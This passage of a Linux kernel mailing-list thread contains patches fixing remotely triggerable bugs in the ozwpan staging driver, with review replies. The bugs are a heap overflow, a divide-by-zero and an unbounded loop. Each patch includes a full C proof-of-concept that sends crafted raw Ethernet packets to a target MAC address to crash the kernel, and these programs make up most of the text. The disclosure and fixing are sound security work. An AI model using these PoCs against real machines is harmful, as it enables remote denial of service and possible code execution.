return c - 'A' + 10;
return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
int i;
for (i = 0; i < 6; i++) {
int a, b;
a = hex2num(*txt++);
if (a < 0)
return -1;
b = hex2num(*txt++);
if (b < 0)
return -1;
*addr++ = (a << 4) | b;
if (i < 5 && *txt++ != ':')
return -1;
}
return 0;
}
int main(int argc, char *argv[])
{
if (argc < 3) {
fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
return 1;
}
uint8_t dest_mac[6];
if (hwaddr_aton(argv[2], dest_mac)) {
fprintf(stderr, "Invalid mac address.\n");
return 1;
}
int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (sockfd < 0) {
perror("socket");
return 1;
}
struct ifreq if_idx;
int interface_index;
strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
perror("SIOCGIFINDEX");
return 1;
}
interface_index = if_idx.ifr_ifindex;
if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
perror("SIOCGIFHWADDR");
return 1;
}
uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_elt_connect_req oz_elt_connect_req;
} __packed connect_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(0)
},
.oz_elt = {
.type = OZ_ELT_CONNECT_REQ,
.length = sizeof(struct oz_elt_connect_req)
},
.oz_elt_connect_req = {
.mode = 0,
.resv1 = {0},
.pd_info = 0,
.session_id = 0,
.presleep = 35,
.ms_isoc_latency = 0,
.host_vendor = 0,
.keep_alive = 0,
.apps = htole16((1 << OZ_APPID_USB) | 0x1),
.max_len_div16 = 0,
.ms_per_isoc = 0,
.up_audio_buf = 0,
.ms_per_elt = 0
}
};
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_get_desc_rsp oz_get_desc_rsp;
} __packed pwn_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(1)
},
.oz_elt = {
.type = OZ_ELT_APP_DATA,
.length = sizeof(struct oz_get_desc_rsp) - 2
},
.oz_get_desc_rsp = {
.app_id = OZ_APPID_USB,
.elt_seq_num = 0,
.type = OZ_GET_DESC_RSP,
.req_id = 0,
.offset = htole16(0),
.total_size = htole16(0),
.rcode = 0,
.data = {0}
}
};
struct sockaddr_ll socket_address = {
.sll_ifindex = interface_index,
.sll_halen = ETH_ALEN,
.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
};
if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
usleep(300000);
if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
return 0;
}
Signed-off-by: Jason A. Donenfeld <[email protected]>
---
drivers/staging/ozwpan/ozusbsvc1.c | 4 +++-
1 file changed, 3 insertions(+), 1 deletion(-)
diff --git a/drivers/staging/ozwpan/ozusbsvc1.c b/drivers/staging/ozwpan/ozusbsvc1.c
index d434d8c..cd6c63e 100644
--- a/drivers/staging/ozwpan/ozusbsvc1.c
+++ b/drivers/staging/ozwpan/ozusbsvc1.c
@@ -390,8 +390,10 @@ void oz_usb_rx(struct oz_pd *pd, struct oz_elt *elt)
case OZ_GET_DESC_RSP: {
struct oz_get_desc_rsp *body =
(struct oz_get_desc_rsp *)usb_hdr;
- int data_len = elt->length -
+ u8 data_len = elt->length -
sizeof(struct oz_get_desc_rsp) + 1;
+ if (data_len > elt->length)
+ break;
u16 offs = le16_to_cpu(get_unaligned(&body->offset));
u16 total_size =
le16_to_cpu(get_unaligned(&body->total_size));
--
2.3.6
Using signed integers, the subtraction between required_size and offset
could wind up being negative, resulting in a memcpy into a heap buffer
with a negative length, resulting in huge amounts of network-supplied
data being copied into the heap, which could potentially lead to remote
code execution.. This is remotely triggerable with a magic packet.
A PoC which obtains DoS follows below. It requires the ozprotocol.h file
from this module.
=-=-=-=-=-=
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"
static int hex2num(char c)
{
if (c >= '0' && c <= '9')
return c - '0';
if (c >= 'a' && c <= 'f')
return c - 'a' + 10;
if (c >= 'A' && c <= 'F')
return c - 'A' + 10;
return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
int i;
for (i = 0; i < 6; i++) {
int a, b;
a = hex2num(*txt++);
if (a < 0)
return -1;
b = hex2num(*txt++);
if (b < 0)
return -1;
*addr++ = (a << 4) | b;
if (i < 5 && *txt++ != ':')
return -1;
}
return 0;
}
int main(int argc, char *argv[])
{
if (argc < 3) {
fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
return 1;
}
uint8_t dest_mac[6];
if (hwaddr_aton(argv[2], dest_mac)) {
fprintf(stderr, "Invalid mac address.\n");
return 1;
}
int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (sockfd < 0) {
perror("socket");
return 1;
}
struct ifreq if_idx;
int interface_index;
strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
perror("SIOCGIFINDEX");
return 1;
}
interface_index = if_idx.ifr_ifindex;
if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
perror("SIOCGIFHWADDR");
return 1;
}
uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_elt_connect_req oz_elt_connect_req;
} __packed connect_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(0)
},
.oz_elt = {
.type = OZ_ELT_CONNECT_REQ,
.length = sizeof(struct oz_elt_connect_req)
},
.oz_elt_connect_req = {
.mode = 0,
.resv1 = {0},
.pd_info = 0,
.session_id = 0,
.presleep = 35,
.ms_isoc_latency = 0,
.host_vendor = 0,
.keep_alive = 0,
.apps = htole16((1 << OZ_APPID_USB) | 0x1),
.max_len_div16 = 0,
.ms_per_isoc = 0,
.up_audio_buf = 0,
.ms_per_elt = 0
}
};
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_get_desc_rsp oz_get_desc_rsp;
} __packed pwn_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(1)
},
.oz_elt = {
.type = OZ_ELT_APP_DATA,
.length = sizeof(struct oz_get_desc_rsp)
},
.oz_get_desc_rsp = {
.app_id = OZ_APPID_USB,
.elt_seq_num = 0,
.type = OZ_GET_DESC_RSP,
.req_id = 0,
.offset = htole16(2),
.total_size = htole16(1),
.rcode = 0,
.data = {0}
}
};
struct sockaddr_ll socket_address = {
.sll_ifindex = interface_index,
.sll_halen = ETH_ALEN,
.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
};
if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
usleep(300000);
if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
return 0;
}
Signed-off-by: Jason A. Donenfeld <[email protected]>
---
drivers/staging/ozwpan/ozhcd.c | 8 ++++----
drivers/staging/ozwpan/ozusbif.h | 4 ++--
2 files changed, 6 insertions(+), 6 deletions(-)
diff --git a/drivers/staging/ozwpan/ozhcd.c b/drivers/staging/ozwpan/ozhcd.c
index 5ff4716..784b5ec 100644
--- a/drivers/staging/ozwpan/ozhcd.c
+++ b/drivers/staging/ozwpan/ozhcd.c
@@ -746,8 +746,8 @@ void oz_hcd_pd_reset(void *hpd, void *hport)
/*
* Context: softirq
*/
-void oz_hcd_get_desc_cnf(void *hport, u8 req_id, int status, const u8 *desc,
- int length, int offset, int total_size)
+void oz_hcd_get_desc_cnf(void *hport, u8 req_id, u8 status, const u8 *desc,
+ u8 length, u16 offset, u16 total_size)
{
struct oz_port *port = hport;
struct urb *urb;
@@ -759,8 +759,8 @@ void oz_hcd_get_desc_cnf(void *hport, u8 req_id, int status, const u8 *desc,
if (!urb)
return;
if (status == 0) {
- int copy_len;
- int required_size = urb->transfer_buffer_length;
+ unsigned int copy_len;
+ unsigned int required_size = urb->transfer_buffer_length;
if (required_size > total_size)
required_size = total_size;
diff --git a/drivers/staging/ozwpan/ozusbif.h b/drivers/staging/ozwpan/ozusbif.h
index 4249fa3..d2a6085 100644
--- a/drivers/staging/ozwpan/ozusbif.h
+++ b/drivers/staging/ozwpan/ozusbif.h
@@ -29,8 +29,8 @@ void oz_usb_request_heartbeat(void *hpd);
/* Confirmation functions.
*/
-void oz_hcd_get_desc_cnf(void *hport, u8 req_id, int status,
- const u8 *desc, int length, int offset, int total_size);
+void oz_hcd_get_desc_cnf(void *hport, u8 req_id, u8 status,
+ const u8 *desc, u8 length, u16 offset, u16 total_size);
void oz_hcd_control_cnf(void *hport, u8 req_id, u8 rcode,
const u8 *data, int data_len);
--
2.3.6
A network supplied parameter was not checked before division, leading to
a divide-by-zero. Since this happens in the softirq path, it leads to a
crash. A PoC follows below, which requires the ozprotocol.h file from
this module.
=-=-=-=-=-=
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"
static int hex2num(char c)
{
if (c >= '0' && c <= '9')
return c - '0';
if (c >= 'a' && c <= 'f')
return c - 'a' + 10;
if (c >= 'A' && c <= 'F')
return c - 'A' + 10;
return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
int i;
for (i = 0; i < 6; i++) {
int a, b;
a = hex2num(*txt++);
if (a < 0)
return -1;
b = hex2num(*txt++);
if (b < 0)
return -1;
*addr++ = (a << 4) | b;
if (i < 5 && *txt++ != ':')
return -1;
}
return 0;
}
int main(int argc, char *argv[])
{
if (argc < 3) {
fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
return 1;
}
uint8_t dest_mac[6];
if (hwaddr_aton(argv[2], dest_mac)) {
fprintf(stderr, "Invalid mac address.\n");
return 1;
}
int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (sockfd < 0) {
perror("socket");
return 1;
}
struct ifreq if_idx;
int interface_index;
strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
perror("SIOCGIFINDEX");
return 1;
}
interface_index = if_idx.ifr_ifindex;
if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
perror("SIOCGIFHWADDR");
return 1;
}
uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_elt_connect_req oz_elt_connect_req;
struct oz_elt oz_elt2;
struct oz_multiple_fixed oz_multiple_fixed;
} __packed packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(0)
},
.oz_elt = {
.type = OZ_ELT_CONNECT_REQ,
.length = sizeof(struct oz_elt_connect_req)
},
.oz_elt_connect_req = {
.mode = 0,
.resv1 = {0},
.pd_info = 0,
.session_id = 0,
.presleep = 0,
.ms_isoc_latency = 0,
.host_vendor = 0,
.keep_alive = 0,
.apps = htole16((1 << OZ_APPID_USB) | 0x1),
.max_len_div16 = 0,
.ms_per_isoc = 0,
.up_audio_buf = 0,
.ms_per_elt = 0
},
.oz_elt2 = {
.type = OZ_ELT_APP_DATA,
.length = sizeof(struct oz_multiple_fixed)
},
.oz_multiple_fixed = {
.app_id = OZ_APPID_USB,
.elt_seq_num = 0,
.type = OZ_USB_ENDPOINT_DATA,
.endpoint = 0,
.format = OZ_DATA_F_MULTIPLE_FIXED,
.unit_size = 0,
.data = {0}
}
};
struct sockaddr_ll socket_address = {
.sll_ifindex = interface_index,
.sll_halen = ETH_ALEN,
.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
};
if (sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
return 0;
}
Signed-off-by: Jason A. Donenfeld <[email protected]>
---
drivers/staging/ozwpan/ozusbsvc1.c | 5 ++++-
1 file changed, 4 insertions(+), 1 deletion(-)
diff --git a/drivers/staging/ozwpan/ozusbsvc1.c b/drivers/staging/ozwpan/ozusbsvc1.c
index cd6c63e..2e67956 100644
--- a/drivers/staging/ozwpan/ozusbsvc1.c
+++ b/drivers/staging/ozwpan/ozusbsvc1.c
@@ -326,7 +326,10 @@ static void oz_usb_handle_ep_data(struct oz_usb_ctx *usb_ctx,
struct oz_multiple_fixed *body =
(struct oz_multiple_fixed *)data_hdr;
u8 *data = body->data;
- int n = (len - sizeof(struct oz_multiple_fixed)+1)
+ int n;
+ if (!body->unit_size)
+ break;
+ n = (len - sizeof(struct oz_multiple_fixed)+1)
/ body->unit_size;
while (n--) {
oz_hcd_data_ind(usb_ctx->hport, body->endpoint,
--
2.3.6
The subtraction here was using a signed integer and did not have any
bounds checking at all. This commit adds proper bounds checking, made
easy by use of an unsigned integer. This way, a single packet won't be
able to remotely trigger a massive loop, locking up the system for a
considerable amount of time. A PoC follows below, which requires
ozprotocol.h from this module.
=-=-=-=-=-=
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"
static int hex2num(char c)
{
if (c >= '0' && c <= '9')
return c - '0';
if (c >= 'a' && c <= 'f')
return c - 'a' + 10;
if (c >= 'A' && c <= 'F')
return c - 'A' + 10;
return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
int i;
for (i = 0; i < 6; i++) {
int a, b;
a = hex2num(*txt++);
if (a < 0)
return -1;
b = hex2num(*txt++);
if (b < 0)
return -1;
*addr++ = (a << 4) | b;
if (i < 5 && *txt++ != ':')
return -1;
}
return 0;
}
int main(int argc, char *argv[])
{
if (argc < 3) {
fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
return 1;
}
uint8_t dest_mac[6];
if (hwaddr_aton(argv[2], dest_mac)) {
fprintf(stderr, "Invalid mac address.\n");
return 1;
}
int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (sockfd < 0) {
perror("socket");
return 1;
}
struct ifreq if_idx;
int interface_index;
strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
perror("SIOCGIFINDEX");
return 1;
}
interface_index = if_idx.ifr_ifindex;
if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
perror("SIOCGIFHWADDR");
return 1;
}
uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_elt_connect_req oz_elt_connect_req;
struct oz_elt oz_elt2;
struct oz_multiple_fixed oz_multiple_fixed;
} __packed packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(0)
},
.oz_elt = {
.type = OZ_ELT_CONNECT_REQ,
.length = sizeof(struct oz_elt_connect_req)
},
.oz_elt_connect_req = {
.mode = 0,
.resv1 = {0},
.pd_info = 0,
.session_id = 0,
.presleep = 0,
.ms_isoc_latency = 0,
.host_vendor = 0,
.keep_alive = 0,
.apps = htole16((1 << OZ_APPID_USB) | 0x1),
.max_len_div16 = 0,
.ms_per_isoc = 0,
.up_audio_buf = 0,
.ms_per_elt = 0
},
.oz_elt2 = {
.type = OZ_ELT_APP_DATA,
.length = sizeof(struct oz_multiple_fixed) - 3
},
.oz_multiple_fixed = {
.app_id = OZ_APPID_USB,
.elt_seq_num = 0,
.type = OZ_USB_ENDPOINT_DATA,
.endpoint = 0,
.format = OZ_DATA_F_MULTIPLE_FIXED,
.unit_size = 1,
.data = {0}
}
};
struct sockaddr_ll socket_address = {
.sll_ifindex = interface_index,
.sll_halen = ETH_ALEN,
.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
};
if (sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
return 0;
}
Signed-off-by: Jason A. Donenfeld <[email protected]>
---
drivers/staging/ozwpan/ozusbsvc1.c | 4 +++-
1 file changed, 3 insertions(+), 1 deletion(-)
diff --git a/drivers/staging/ozwpan/ozusbsvc1.c b/drivers/staging/ozwpan/ozusbsvc1.c
index 2e67956..934a571 100644
--- a/drivers/staging/ozwpan/ozusbsvc1.c
+++ b/drivers/staging/ozwpan/ozusbsvc1.c
@@ -326,11 +326,13 @@ static void oz_usb_handle_ep_data(struct oz_usb_ctx *usb_ctx,
struct oz_multiple_fixed *body =
(struct oz_multiple_fixed *)data_hdr;
u8 *data = body->data;
- int n;
+ unsigned int n;
if (!body->unit_size)
break;
n = (len - sizeof(struct oz_multiple_fixed)+1)
/ body->unit_size;
+ if (n > len / body->unit_size)
+ break;
while (n--) {
oz_hcd_data_ind(usb_ctx->hport, body->endpoint,
data, body->unit_size);
--
2.3.6
From: Jason A. Donenfeld
> Sent: 13 May 2015 19:34
> Since elt->length is a u8, we can make this variable a u8. Then we can
> do proper bounds checking more easily. Without this, a potentially
> negative value is passed to the memcpy inside oz_hcd_get_desc_cnf,
> resulting in a remotely exploitable heap overflow with network
> supplied data.
...
> diff --git a/drivers/staging/ozwpan/ozusbsvc1.c b/drivers/staging/ozwpan/ozusbsvc1.c
> index d434d8c..cd6c63e 100644
> --- a/drivers/staging/ozwpan/ozusbsvc1.c
> +++ b/drivers/staging/ozwpan/ozusbsvc1.c
> @@ -390,8 +390,10 @@ void oz_usb_rx(struct oz_pd *pd, struct oz_elt *elt)
> case OZ_GET_DESC_RSP: {
> struct oz_get_desc_rsp *body =
> (struct oz_get_desc_rsp *)usb_hdr;
> - int data_len = elt->length -
> + u8 data_len = elt->length -
> sizeof(struct oz_get_desc_rsp) + 1;
> + if (data_len > elt->length)
> + break;
Why not just check the length. eg:
unsigned int data_len = elt->length;
if (data_len < sizeof(struct oz_get_desc_rsp) + 1)
break;
> u16 offs = le16_to_cpu(get_unaligned(&body->offset));
> u16 total_size =
> le16_to_cpu(get_unaligned(&body->total_size));
Don't put variable definitions after code.
You don't really want to do arithmetic on local variables that are
smaller than a machine word (eg u8 and u16), doing so can require
the compiler generate a lot more code.
David
On May 15, 2015 4:10 PM, "David Laight" <[email protected]> wrote:
> Why not just check the length. eg:
> unsigned int data_len = elt->length;
> if (data_len < sizeof(struct oz_get_desc_rsp) + 1)
> break;
Sure.
> > u16 offs = le16_to_cpu(get_unaligned(&body->offset));
> > u16 total_size =
> > le16_to_cpu(get_unaligned(&body->total_size));
>
> Don't put variable definitions after code.
>
> You don't really want to do arithmetic on local variables that are
> smaller than a machine word (eg u8 and u16), doing so can require
> the compiler generate a lot more code.
This is code is just part of the patch context. Care to submit a
follow up patch fixing this so the maintainer can incorporate it? FYI,
this is a common occurrence throughout the driver, and a patch set
should probably be posted that systematically fixes this problem.
On Fri, 2015-05-15 at 15:02 +0000, David Laight wrote:
> From: Jason A. Donenfeld
> > Sent: 13 May 2015 19:34
> > Since elt->length is a u8, we can make this variable a u8. Then we can
> > do proper bounds checking more easily. Without this, a potentially
> > negative value is passed to the memcpy inside oz_hcd_get_desc_cnf,
> > resulting in a remotely exploitable heap overflow with network
> > supplied data.
> ...
> > diff --git a/drivers/staging/ozwpan/ozusbsvc1.c b/drivers/staging/ozwpan/ozusbsvc1.c
> > index d434d8c..cd6c63e 100644
> > --- a/drivers/staging/ozwpan/ozusbsvc1.c
> > +++ b/drivers/staging/ozwpan/ozusbsvc1.c
> > @@ -390,8 +390,10 @@ void oz_usb_rx(struct oz_pd *pd, struct oz_elt *elt)
> > case OZ_GET_DESC_RSP: {
> > struct oz_get_desc_rsp *body =
> > (struct oz_get_desc_rsp *)usb_hdr;
> > - int data_len = elt->length -
> > + u8 data_len = elt->length -
> > sizeof(struct oz_get_desc_rsp) + 1;
> > + if (data_len > elt->length)
> > + break;
This check already seems bogus? It's really:
if (sizeof(struct oz_get_desc_rsp) - 1 < 0)
On Wed, May 13, 2015 at 08:58:17PM +0200, Jason A. Donenfeld wrote:
> Since elt->length is a u8, we can make this variable a u8. Then we can
> do proper bounds checking more easily. Without this, a potentially
> negative value is passed to the memcpy inside oz_hcd_get_desc_cnf,
> resulting in a remotely exploitable heap overflow with network
> supplied data.
>
> This could result in remote code execution. A PoC which obtains DoS
> follows below. It requires the ozprotocol.h file from this module.
>
> =-=-=-=-=-=
>
> #include <arpa/inet.h>
> #include <linux/if_packet.h>
> #include <net/if.h>
> #include <netinet/ether.h>
> #include <stdio.h>
> #include <string.h>
> #include <stdlib.h>
> #include <endian.h>
> #include <sys/ioctl.h>
> #include <sys/socket.h>
>
> #define u8 uint8_t
> #define u16 uint16_t
> #define u32 uint32_t
> #define __packed __attribute__((__packed__))
> #include "ozprotocol.h"
>
> static int hex2num(char c)
> {
> if (c >= '0' && c <= '9')
> return c - '0';
> if (c >= 'a' && c <= 'f')
> return c - 'a' + 10;
> if (c >= 'A' && c <= 'F')
> return c - 'A' + 10;
> return -1;
> }
> static int hwaddr_aton(const char *txt, uint8_t *addr)
> {
> int i;
> for (i = 0; i < 6; i++) {
> int a, b;
> a = hex2num(*txt++);
> if (a < 0)
> return -1;
> b = hex2num(*txt++);
> if (b < 0)
> return -1;
> *addr++ = (a << 4) | b;
> if (i < 5 && *txt++ != ':')
> return -1;
> }
> return 0;
> }
>
> int main(int argc, char *argv[])
> {
> if (argc < 3) {
> fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
> return 1;
> }
>
> uint8_t dest_mac[6];
> if (hwaddr_aton(argv[2], dest_mac)) {
> fprintf(stderr, "Invalid mac address.\n");
> return 1;
> }
>
> int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
> if (sockfd < 0) {
> perror("socket");
> return 1;
> }
>
> struct ifreq if_idx;
> int interface_index;
> strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
> if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
> perror("SIOCGIFINDEX");
> return 1;
> }
> interface_index = if_idx.ifr_ifindex;
> if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
> perror("SIOCGIFHWADDR");
> return 1;
> }
> uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
>
> struct {
> struct ether_header ether_header;
> struct oz_hdr oz_hdr;
> struct oz_elt oz_elt;
> struct oz_elt_connect_req oz_elt_connect_req;
> } __packed connect_packet = {
> .ether_header = {
> .ether_type = htons(OZ_ETHERTYPE),
> .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
> .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
> },
> .oz_hdr = {
> .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
> .last_pkt_num = 0,
> .pkt_num = htole32(0)
> },
> .oz_elt = {
> .type = OZ_ELT_CONNECT_REQ,
> .length = sizeof(struct oz_elt_connect_req)
> },
> .oz_elt_connect_req = {
> .mode = 0,
> .resv1 = {0},
> .pd_info = 0,
> .session_id = 0,
> .presleep = 35,
> .ms_isoc_latency = 0,
> .host_vendor = 0,
> .keep_alive = 0,
> .apps = htole16((1 << OZ_APPID_USB) | 0x1),
> .max_len_div16 = 0,
> .ms_per_isoc = 0,
> .up_audio_buf = 0,
> .ms_per_elt = 0
> }
> };
>
> struct {
> struct ether_header ether_header;
> struct oz_hdr oz_hdr;
> struct oz_elt oz_elt;
> struct oz_get_desc_rsp oz_get_desc_rsp;
> } __packed pwn_packet = {
> .ether_header = {
> .ether_type = htons(OZ_ETHERTYPE),
> .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
> .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
> },
> .oz_hdr = {
> .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
> .last_pkt_num = 0,
> .pkt_num = htole32(1)
> },
> .oz_elt = {
> .type = OZ_ELT_APP_DATA,
> .length = sizeof(struct oz_get_desc_rsp) - 2
> },
> .oz_get_desc_rsp = {
> .app_id = OZ_APPID_USB,
> .elt_seq_num = 0,
> .type = OZ_GET_DESC_RSP,
> .req_id = 0,
> .offset = htole16(0),
> .total_size = htole16(0),
> .rcode = 0,
> .data = {0}
> }
> };
>
> struct sockaddr_ll socket_address = {
> .sll_ifindex = interface_index,
> .sll_halen = ETH_ALEN,
> .sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
> };
>
> if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
> perror("sendto");
> return 1;
> }
> usleep(300000);
> if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
> perror("sendto");
> return 1;
> }
> return 0;
> }
>
> Signed-off-by: Jason A. Donenfeld <[email protected]>
> ---
> drivers/staging/ozwpan/ozusbsvc1.c | 4 +++-
> 1 file changed, 3 insertions(+), 1 deletion(-)
>
> diff --git a/drivers/staging/ozwpan/ozusbsvc1.c b/drivers/staging/ozwpan/ozusbsvc1.c
> index d434d8c..cd6c63e 100644
> --- a/drivers/staging/ozwpan/ozusbsvc1.c
> +++ b/drivers/staging/ozwpan/ozusbsvc1.c
> @@ -390,8 +390,10 @@ void oz_usb_rx(struct oz_pd *pd, struct oz_elt *elt)
> case OZ_GET_DESC_RSP: {
> struct oz_get_desc_rsp *body =
